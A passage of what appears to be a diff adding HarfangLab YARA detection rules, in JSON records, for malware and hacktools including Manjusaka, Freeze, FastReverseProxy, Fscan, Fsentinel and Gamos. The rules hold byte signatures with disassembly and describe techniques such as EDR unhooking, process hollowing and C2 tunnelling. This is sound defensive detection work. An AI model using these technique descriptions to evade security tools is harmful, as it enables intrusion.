ecx, 0AF93Bh\n            0F 80 ?? ?? ?? ??     // jo      loc_1400477E1\n            81 C1 6D 01 00 00     // add     ecx, 16Dh\n            48 63 F1              // movsxd  rsi, ecx\n            4C 69 FE BD 06 6B 39  // imul    r15, rsi, 396B06BDh\n            4D 89 FC              // mov     r12, r15\n            49 C1 EC 3F           // shr     r12, 3Fh\n            49 C1 FF 2F           // sar     r15, 2Fh\n        }\n\n        $fetch_process_info = {\n            4C 8D 84 24 ?? ?? ?? ??     // lea     r8, [rsp+1068h+var_F58] ; ProcessInformation\n            41 B9 30 00 00 00           // mov     r9d, 30h ; '0'  ; ProcessInformationLength\n            FF 15 ?? ?? ?? ??           // call    cs:NtQueryInformationProcess\n            85 C0                       // test    eax, eax\n            0F 88 ?? ?? ?? ??           // js      loc_1400E7118\n            48 8B 94 24 ?? ?? ?? ??     // mov     rdx, [rsp+1068h+var_F58+8] ; lpBaseAddress\n            48 ?? ?? ?? ?? 00 00 00 00  // mov     [rsp+1068h+ReturnLength], 0 ; lpNumberOfBytesRead\n            41 B9 C8 07 00 00           // mov     r9d, 7C8h       ; nSize\n            48 89 F1                    // mov     rcx, rsi        ; hProcess\n            49 89 E8                    // mov     r8, rbp         ; lpBuffer\n            E8 ?? ?? ?? ??              // call    ReadProcessMemory\n            83 F8 01                    // cmp     eax, 1\n            0F 85 ?? ?? ?? ??           // jnz     loc_1400E7118\n            [17]\n            41 B9 10 04 00 00           // mov     r9d, 410h       ; nSize\n        }\n\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 5MB and 2 of ($s*) and ($date_manipulation or $fetch_process_info)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "manjusaka_rust_beacon"
+  ],
+  "rule_creation_date": "2022-08-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Manjusaka"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-freeze_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572254Z",
+  "creation_date": "2026-03-23T11:46:25.572257Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572262Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1574/\nhttps://github.com/optiv/Freeze"
+  ],
+  "name": "freeze.yar",
+  "content": "rule freeze_generic {\n    meta:\n        title = \"Freeze Loader\"\n        id = \"8b3a5e7e-3a49-4cb9-bd89-f81d009a5114\"\n        description = \"Detects binaries generated by the Freeze Loader that contain malicious shellcode.\\nThe Freeze Loader is a sophisticated malware that launches a suspended process and loads ntdll.dll before EDR hooking calls can be made. It reads the .text section of Ntdll using the ReadProcessMemory API and overwrites the hooked .text section before executing shellcode. The loader also has capabilities to patch ETW syscalls and uses the Go language to define necessary system calls.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://attack.mitre.org/techniques/T1574/\\nhttps://github.com/optiv/Freeze\"\n        date = \"2022-10-07\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1574\"\n        classification = \"Windows.Tool.Freeze\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b92aa7a08ddb807147bc696890707fd54e48bb6c54a1057b0d6be11f9ea4aa68\n        // 8c6aa1f791494a6e085ea0e0e6f965540279d079a468fcade6bf59ac8a384a9c\n        // 99b13554015659c03d39422eb9f1ea10da53676a1d08c1f900b4e3a430af0acd\n\n        // Setting args to read the Ntdll.dll before EDR hooking (suspended state)\n        $Syscall_SetupReadProcessMemory = {\n            4C 8D 64 24 F8                               // lea     r12, [rsp+var_8]\n            4D 3B 66 10                                  // cmp     r12, [r14+10h]\n            0F 86 ?? ?? ?? ??                            // jbe     loc_??????\n            48 81 EC 88 00 00 00                         // sub     rsp, 88h\n            48 89 AC 24 80 00 00 00                      // mov     [rsp+88h+var_8], rbp\n            48 8D AC 24 80 00 00 00                      // lea     rbp, [rsp+88h+var_8]\n            48 89 5C 24 58                               // mov     [rsp+88h+var_30], rbx ; (Moving ntdll.dll size (0x119000 constant) to rbx)\n            48 89 44 24 50                               // mov     [rsp+88h+var_38], rax ; (Golang shenanigans)\n            48 89 8C 24 A0 00 00 00                      // mov     [rsp+88h+arg_10], rcx ; (rcx is also 0x119000)\n            48 8D 05 ?? ?? ?? 00                         // lea     rax, RTYPE_uint8\n            48 89 CB                                     // mov     rbx, rcx ;\n            E8 ?? ?? ?? FF                               // call    runtime_makeslice ; (Making ntdll.dll string from the constant uint8 array)\n            48 C7 44 24 ?? 00 00 00 00                   // mov     [rsp+88h+var_??], 0\n            48 8B ?? 24 A0 00 00 00                      // mov     rdx, [rsp+88h+arg_10]\n            0F 1F 84 00 00 00 00 00                      // nop     dword ptr [rax+rax+00000000h]\n            48 85 ??                                     // test    r?x, r?x ; (rcx or rbx)\n            0F 86 CF 00 00 00                            // jbe     loc_??????\n            48 89 44 24 68                               // mov     [rsp+88h+var_20], rax\n            48 89 44 24 78                               // mov     [rsp+88h+var_10], rax\n            48 8D 4C 24 ??                               // lea     rcx, [rsp+88h+var_??]\n            48 89 4C 24 70                               // mov     [rsp+88h+var_18], rcx\n            48 8B 0D ?? ?? ?? 00                         // mov     rcx, cs:qword_??????\n            48 89 4C 24 60                               // mov     [rsp+88h+var_28], rcx\n            90                                           // nop\n        }\n\n        // Rewriting Ntdll.dll with unhooked version read earlier.\n        $Syscall_WriteProcessMemory = {\n            E8 ?? ?? ?? FF                               // call    ??????__ptr_????????_Find ; (Finding memory area for procs Ntdll.dll memory zone)\n            48 85 C0                                     // test    rax, rax\n            0F 85 92 00 00 00                            // jnz     loc_??????\n            48 8B 54 24 58                               // mov     rdx, [rsp+78h+var_20]\n            48 8B 52 20                                  // mov     rdx, [rdx+20h]\n            48 8B 74 24 68                               // mov     rsi, [rsp+78h+var_10]\n            4C 8B 4C 24 60                               // mov     r9, [rsp+78h+var_18]\n            48 8B 42 18                                  // mov     rax, [rdx+18h]\n            BB 05 00 00 00                               // mov     ebx, 5\n            48 8B 4C 24 48                               // mov     rcx, [rsp+78h+var_30]\n            48 8B 7C 24 40                               // mov     rdi, [rsp+78h+var_38]\n            4C 8B 44 24 50                               // mov     r8, [rsp+78h+var_28]\n            45 31 D2                                     // xor     r10d, r10d\n            0F 1F 00                                     // nop     dword ptr [rax]\n            E8 ?? ?? ?? FF                               // call    syscall_Syscall6 ; procWriteProcessMemory\n        }\n\n    condition:\n        (uint16(0) == 0x5a4d) and filesize < 5MB and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "freeze_generic"
+  ],
+  "rule_creation_date": "2022-10-07",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Freeze"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-frp_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587841Z",
+  "creation_date": "2026-03-23T11:46:25.587843Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587848Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/fatedier/frp/\nhttps://asec.ahnlab.com/en/38156/\nhttps://attack.mitre.org/techniques/T1572/"
+  ],
+  "name": "frp.yar",
+  "content": "rule frp {\n    meta:\n        title = \"FastReverseProxy Tool\"\n        id = \"cbec7bc3-2035-4bf3-ab0e-a01641c61279\"\n        description = \"Detects the FastReverseProxy (Frp) tool.\\nFastReverseProxy is a popular open-source reverse proxy tool that establishes secure tunnels between servers and clients.\\nAttackers often abuse it to create command and control (C2) communication channels or to pivot within a compromised environment.\\nIt is recommended to investigate network activity and the usage of this tool to identify any unauthorized access or data exfiltration activities.\"\n        references = \"https://github.com/fatedier/frp/\\nhttps://asec.ahnlab.com/en/38156/\\nhttps://attack.mitre.org/techniques/T1572/\"\n        date = \"2024-02-01\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1572\"\n        classification = \"Tool.FastReverseProxy\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b94032ad4893db6c58a3f7615afd44b01b334f009f815e7d9473b9639a360144\n        // 15846490706281424a0f5b0b7d3e6ea92173dbeaf6a10a566f4dc8a6a1e977bb\n        // 59a6d633da1d2ce0c68a3950a1e325c2a0810f206b7004e6ed218e20a716e9fc\n        // cd75f7ae1b3196be51bdb0de6d9b887c3048f3da0f2686a3235bfe489a9d1325\n\n        // frps - server\n        $s1 = \"Generate the autocompletion script for the specified shell\" ascii\n        $s2 = \"Help about any command\" ascii\n        $s3 = \"Verify that the configures is valid\" ascii\n        $s4 = \"strict config parsing mode, unknown fields will cause error\" ascii\n        $s6 = \"config file of frps\" ascii\n        $s7 = \"frps tls only\" ascii\n        $s8 = \"help for frps\" ascii\n        $s9 = \"if enable dashboard tls mode\" ascii\n        $s10 = \"Use \\\"{{.CommandPath}} [command] --help\\\" for more information about a command.{{end}}\" ascii\n        $s11 = \"frps is the server of frp (https://github.com/fatedier/frp)\"\n\n        // frpc - client\n        $s12 = \"Stop the running frpc\" ascii\n        $s13 = \"Actions about nathole\" ascii\n        $s14 = \"Run frpc with a single http proxy\" ascii\n        $s15 = \"Run frpc with a single https proxy\" ascii\n        $s16 = \"Hot-Reload frpc configuration\" ascii\n        $s17 = \"Run frpc with a single xtcp proxy\" ascii\n        $s18 = \"Run frpc with a single\" ascii\n        $s19 = \"Overview of all proxies status\" ascii\n        $s20 = \"frpc is the client of frp (https://github.com/fatedier/frp)\" ascii\n        $s21 = \"Generate the autocompletion script for the specified shell\" ascii\n\n    condition:\n        5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "frp"
+  ],
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Tool.FastReverseProxy"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1071.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-fscan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564756Z",
+  "creation_date": "2026-03-23T11:46:25.564758Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564764Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/shadow1ng/fscan/\nhttps://blog.eclecticiq.com/chinese-threat-actor-used-modified-cobalt-strike-variant-to-attack-taiwanese-critical-infrastructure\nhttps://attack.mitre.org/techniques/T1046/"
+  ],
+  "name": "fscan.yar",
+  "content": "rule fscan {\n    meta:\n        title = \"Fscan HackTool\"\n        id = \"5cb81255-2f8c-489f-aa21-b0a2502bfb01\"\n        description = \"Detects the Fscan hacktool.\\nFscan is an open-source advanced network scanning tool designed for automated vulnerability scanning and brute-force attacks. It is commonly used to identify and exploit security weaknesses in target systems and networks.\\nThe tool is frequently employed in cyber-attacks, including those targeting critical infrastructure.\\nIt enables attackers to perform comprehensive scans and identify potential attack vectors quickly.\"\n        references = \"https://github.com/shadow1ng/fscan/\\nhttps://blog.eclecticiq.com/chinese-threat-actor-used-modified-cobalt-strike-variant-to-attack-taiwanese-critical-infrastructure\\nhttps://attack.mitre.org/techniques/T1046/\"\n        date = \"2024-02-01\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1046\"\n        classification = \"HackTool.Fscan\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples (in-memory):\n        // b9919cdb3ebf7abed7458e357a71924bb0dd43332e90c30a6f146caefcf56baa\n        // 78eed41cec221edd4ffed223f2fd2271a96224fd1173ed685c8c0b274fe93029\n        // 62ba281147ceeefca5bd15f58ac52125bc42b0e134a6fcb4bd90efdae0fce318\n        // b26458a0b60f4af597433fb7eff7b949ca96e59330f4e4bb85005e8bbcfa4f59\n\n        $s1 = \"poc full scan,as: shiro 100 key\" ascii\n        $s2 = \"Outputfile (default \\\"result.txt\\\")\" ascii\n        $s3 = \"use the pocs these contain pocname, -pocname weblogic\" ascii\n        $s4 = \"the hosts no scan,as: -hn 192.168.1.1/24\" ascii\n        $s6 = \"not to scan web vul\" ascii\n        $s7 = \"every time to LogErr (default 60)\" ascii\n        $s8 = \"set poc cookie,-cookie rememberMe=login\" ascii\n        $s9 = \"set socks5 proxy, will be used in tcp connection, timeout setting will not work\" ascii\n        $s10 = \"add a user base DefaultUsers,-usera user\" ascii\n\n        // Detection for these samples:\n        // 6456719f0d001d2ffff908746724de45f7ea057e1881c05dfe943c8ec6e3ec97\n        // 3e5f575ca0d39ac53d2834393c9870e9b7e50dc6e3cb936be1bfee406d9e874b\n        // 8d3fb9a982adb40df649c633644d18d7470edfda1c4db353c38c407854125c84\n        // 78eed41cec221edd4ffed223f2fd2271a96224fd1173ed685c8c0b274fe93029\n\n        $upx1 = \"Info: This file is packed with the UPX executable packer\" ascii\n        $upx2 = \"UPX!\" ascii fullword\n\n        $a1 = \"shadow1ng\" ascii\n        $a2 = \"fscan\" ascii\n        $a3 = \" Go build\" ascii\n\n        $b1 = \"V0Cqo0cJWDaA=\" ascii\n        $b2 = \"A7eHBwdwEAeA==\" ascii\n        $b3 = \"luLISE_G381W2ssv93g\" ascii\n        $b4 = \"goWMIExec\" ascii\n        $b5 = \"portscan\" ascii\n        $b6 = \"FjMRJfCqmXfwPzGYq5Vhk\" ascii\n\n    condition:\n        5 of ($s*) or\n        (\n            (\n                uint16(0) == 0x5a4d or // Windows\n                uint16(0) == 0x457f or // Linux\n                (\n                    // MacOS\n                    uint32(0) == 0xfeedface or\n                    uint32(0) == 0xcefaedfe or\n                    uint32(0) == 0xfeedfacf or\n                    uint32(0) == 0xcffaedfe or\n                    uint32(0) == 0xcafebabe or\n                    uint32(0) == 0xbebafeca\n                )\n            )\n            and\n            (\n                1 of ($upx*) and\n                (\n                    (all of ($a*)) or\n                    (2 of ($a*) and 2 of ($b*)) or\n                    (1 of ($a*) and 3 of ($b*))\n                )\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "fscan"
+  ],
+  "rule_creation_date": "2024-02-01",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "HackTool.Fscan"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-fsentinel_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569306Z",
+  "creation_date": "2026-03-23T11:46:25.569308Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569314Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1055/012/"
+  ],
+  "name": "fsentinel_loader.yar",
+  "content": "rule fsentinel_loader {\n    meta:\n        title = \"Fsentinel Loader\"\n        id = \"d80fc445-8eee-4fe7-9bd2-5a0194cdeaa1\"\n        // Description to check before putting to production\n        description = \"Detects the Fsentinel loader.\\nFsentinel is a defense evasion loader that utilizes DLL Sideloading and a custom Process Hollowing technique to execute malicious payloads.\\nIt typically drops Stealers as the final payloads.\\nIt is recommended to isolate the affected device, conduct a thorough system scan with advanced detection tools, and monitor for any signs of ongoing or related malicious activities.\"\n        // Add references ?\n        references = \"https://attack.mitre.org/techniques/T1055/012/\"\n        date = \"2024-10-30\"\n        modified = \"2025-07-02\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055.012\"\n        classification = \"Windows.Loader.FsentinelLoader\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 2bc570688c2e63b83bb94fafea42f9056b0f079d6d47524319e8190404225db5\n\n        // fuckSsentincfuckSsentincfuckSsentincfuckSsentincfuckSsentinc\n        $s_sentinel = { 66 75 63 6b 53 73 65 6e 74 69 6e 63 66 75 63 6b 53 73 65 6e 74 69 6e 63 66 75 63 6b 53 73 65 6e 74 69 6e 63 66 75 63 6b 53 73 65 6e 74 69 6e 63 66 75 63 6b 53 73 65 6e 74 69 6e 63 }\n\n    condition:\n        all of ($s_sentinel*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "fsentinel_loader"
+  ],
+  "rule_creation_date": "2024-10-30",
+  "rule_modified_date": "2025-07-02",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.FsentinelLoader"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-gamos_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565441Z",
+  "creation_date": "2026-03-23T11:46:25.565443Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565449Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "Internal research"
+  ],
+  "name": "gamos.yar",
+  "content": "rule gamos {\n        meta:\n            title = \"Gamos Hacktool\"\n            id = \"a3dee493-4292-46ce-813f-8005b30246ef\"\n            description = \"Detects Gamos Hacktool, a hacktool written in Go used for lateral movement.\\nThis tool retrieves encrypted command instructions from the Internet and performs authenticated lateral movement using both Kerberos and NTLM mechanisms.\\nIt is recommended to investigate the context around this alert to ensure that the activity is part of an approved security test and to identify any potential misuse.\"\n            references = \"Internal research\"\n            date = \"2025-11-28\"\n            modified = \"2025-12-05\"\n            author = \"HarfangLab\"\n            tags = \"attack.command_and_control;attack.t1071;attack.lateral_movement;attack.t1550;attack.t1550.002;attack.t1550.003\"\n            classification = \"Windows.HackTool.Gamos\"\n            context = \"process,memory,thread,file.pe\"\n            os = \"Windows\"\n            score = 100\n            confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0ec1b0c35ecf0206d8305761c30bccd0dcaea262fbedf5b1f512429a3b22c6d3\n        // 16982a9e9baa51ce627d22cb869cd6b7bba3204048c0433fa81964b2b73f8f77\n        // 98e4b11a11d96354199c0caf74b197609762ff5f7a39be53b8e9474a30c9f601\n\n        $go = \" Go build\" ascii\n\n        $strings1 = \").SetDisconnectCallback\" ascii\n        $strings2 = \").SetReadDeadline\" ascii\n        $strings3 = \").Pack-fm\" ascii\n        $strings4 = \").GetClientConn\" ascii\n        $strings5 = \").SetClientInitCallback\" ascii\n        $strings6 = \").ProxyConfig\" ascii\n\n        $x_main = {\n            49 3B 66 10                                   // cmp     rsp, [r14+10h]\n            0F 86 89 00 00 00                             // jbe     loc_703053\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 18                                   // sub     rsp, 18h\n            48 89 4C 24 38                                // mov     [rsp+18h+arg_10], rcx\n            48 89 5C 24 30                                // mov     [rsp+18h+arg_8], rbx\n            48 89 44 24 28                                // mov     [rsp+18h+arg_0], rax\n            89 FA                                         // mov     edx, edi\n            48 89 D6                                      // mov     rsi, rdx\n            48 29 CA                                      // sub     rdx, rcx\n            48 C1 FA 3F                                   // sar     rdx, 3Fh\n            48 21 D6                                      // and     rsi, rdx\n            8B 14 30                                      // mov     edx, [rax+rsi]\n            01 FA                                         // add     edx, edi\n            89 54 24 14                                   // mov     [rsp+18h+var_4], edx\n            90                                            // nop\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, RTYPE_main_Config\n            E8 3A ?? ?? ??                                // call    runtime_newobject\n            48 C7 00 00 00 00 00                          // mov     qword ptr [rax], 0\n            48 8B 4C 24 30                                // mov     rcx, [rsp+18h+arg_8]\n            48 89 48 08                                   // mov     [rax+8], rcx\n            48 8B 4C 24 38                                // mov     rcx, [rsp+18h+arg_10]\n            48 89 48 10                                   // mov     [rax+10h], rcx\n            83 3D ?? ?? ?? ?? 00                          // cmp     cs:dword_ADE020, 0\n            75 07                                         // jnz     short loc_70302F\n            48 8B 4C 24 28                                // mov     rcx, [rsp+18h+arg_0]\n            EB 14                                         // jmp     short loc_703043\n        }\n\n        $x_rev_to_self = {\n            75 74                                                         //  jnz     short loc_623AC1\n            48 8B 49 18                                                   //  mov     rcx, [rcx+18h]\n            48 89 F8                                                      //  mov     rax, rdi\n            FF D1                                                         //  call    rcx\n            B9 14 00 00 00                                                //  mov     ecx, 14h\n            48 89 C7                                                      //  mov     rdi, rax\n            48 89 DE                                                      //  mov     rsi, rbx\n            31 C0                                                         //  xor     eax, eax\n            48 8D [5]      \t\t\t                          //  lea     rbx, a20060102150405_1+755h\n            E8 [4]\t\t                                          //  call    runtime_concatstring2\n            48 89 5C 24 28                                                //  mov     [rsp+38h+var_10], rbx\n            48 89 44 24 30                                                //  mov     [rsp+38h+var_8], rax\n            48 8D [5]   \t\t\t                          //  lea     rax, RTYPE_errors_errorString\n            E8 [4]                                                        //  call    runtime_newobject\n            48 8B 4C 24 28                                                //  mov     rcx, [rsp+38h+var_10]\n            48 89 48 08                                                   //  mov     [rax+8], rcx\n            83 [4] 00 00\t\t                                  //  cmp     cs:dword_ADE020, 0\n            75 09                                                         //  jnz     short loc_623AA0\n            48 8B 4C 24 30                                                //  mov     rcx, [rsp+38h+var_8]\n            EB 0F                                                         //  jmp     short loc_623AAD\n            [0-2]                                                         //  align 20h\n            E8 [4]                                                        //  call    runtime_gcWriteBarrier1\n            48 8B 4C 24 30                                                //  mov     rcx, [rsp+38h+var_8]\n            49 89 0B                                                      //  mov     [r11], rcx\n            48 89 08                                                      //  mov     [rax], rcx\n            48 89 C3                                                      //  mov     rbx, rax\n        }\n        $x_xor_stream_read = {\n            48 8B 54 24 48                                                //  mov     rdx, [rsp+30h+arg_8]\n            48 8B 74 24 28                                                //  mov     rsi, [rsp+30h+var_8]\n            48 8B 44 24 20                                                //  mov     rax, [rsp+30h+var_10]\n            31 FF                                                         //  xor     edi, edi\n            90                                                            //  nop\n            EB 25                                                         //  jmp     short loc_6F4567\n            48 8B 44 24 20                                                //  mov     rax, [rsp+30h+var_10]\n            48 83 C4 30                                                   //  add     rsp, 30h\n            5D                                                            //  pop     rbp\n            C3                                                            //  retn\n            48 83 C4 30                                                   //  add     rsp, 30h\n            5D                                                            //  pop     rbp\n            C3                                                            //  retn\n            44 0F B6 04 3A                                                //  movzx   r8d, byte ptr [rdx+rdi]\n            44 0F B6 0C 37                                                //  movzx   r9d, byte ptr [rdi+rsi]\n            45 31 C8                                                      //  xor     r8d, r9d\n            44 88 04 3A                                                   //  mov     [rdx+rdi], r8b\n            48 FF C7                                                      //  inc     rdi\n            48 39 F8                                                      //  cmp     rax, rdi\n            7F E7                                                         //  jg      short loc_6F4553\n            48 83 C4 30                                                   //  add     rsp, 30h\n            5D                                                            //  pop     rbp\n            C3\n        }\n        $x_xor_stream_write = {\n            48 8B 54 24 20                                                // mov     rdx, [rsp+28h+var_8]\n            31 C0                                                         // xor     eax, eax\n            EB 1B                                                         // jmp     short loc_6F4649\n            31 C0                                                         // xor     eax, eax\n            48 83 C4 28                                                   // add     rsp, 28h\n            5D                                                            // pop     rbp\n            C3                                                            // retn\n            0F B6 34 03                                                   // movzx   esi, byte ptr [rbx+rax]\n            44 0F B6 04 10                                                // movzx   r8d, byte ptr [rax+rdx]\n            44 31 C6                                                      // xor     esi, r8d\n            40 88 34 03                                                   // mov     [rbx+rax], sil\n            48 FF C0                                                      // inc     rax\n            48 39 C1                                                      // cmp     rcx, rax\n            7F E8                                                         // jg      short loc_6F4636\n            48 8B 54 24 38                                                // mov     rdx, [rsp+28h+arg_0]\n            48 8B 42 08                                                   // mov     rax, [rdx+8]\n            48 8B 12                                                      // mov     